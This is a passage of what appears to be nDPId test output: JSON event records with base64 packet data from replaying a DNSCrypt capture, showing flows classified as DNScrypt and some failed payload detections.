AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":41,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":56997,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363265,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQylIAub0RTiYKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":42,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":39655,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363274,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcylNAAL0RDRIKAAABaO66wJrnAbsCCOaEZFYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":43,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":39655,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":59261,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363284,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcylVAAL0RDRAKAAABaO66wOd9AbsCCOaEZFQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":59261,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":59641,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363284,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcylYgAL0RKU8KAAABaO66wOj5AbsGBMBOZFcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":59641,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44491,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363284,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcylQgAL0RKVEKAAABaO66wK3LAbsGBPuAZFMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":946739304363,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"104.238.186.192","src_port":44491,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363288,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQylQAub0RTiQKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":47,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":363289,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQylYAub0RTiIKAAABaO66wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":48,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00669{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":367875,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmUVAADQRble5hsQ3CgAAASD76A0AwsG8fx2AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00669{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":369837,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWmUZAADQRbla5hsQ3CgAAASD711MAwtJ1fx6AAAABAAEAAAAAATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAcAMABAAAQAADhAAfXxETlNDAAEAADn5TxO0FAodB0MfyNII\/q4yfvBzna8lha8rHqMZH6brB0hzmteXf96oRMNtUVCp592lxf62HHwuDSbhBbtGtQcalorpuHO8PTt\/PSXI1nToKeQ\/\/4xUAF+WFp6Iz9p9KhqWium4c7w9AAAAAV7URQBxousA"} +00666{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":393665,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUETlAADQRUHVo7rrACgAAAQG73qUAwDQQZFWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} +00666{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":394317,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUETpAADQRUHRo7rrACgAAAQG7rqgAwGQKZFiBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} +00666{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":396142,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUETxAADQRUHJo7rrACgAAAQG7rcsAwGTsZFOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} +00666{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":396523,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUET1AADQRUHFo7rrACgAAAQG7530AwCs5ZFSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} +00666{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":397090,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUETtAADQRUHNo7rrACgAAAQG7mucAwHfNZFaBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} 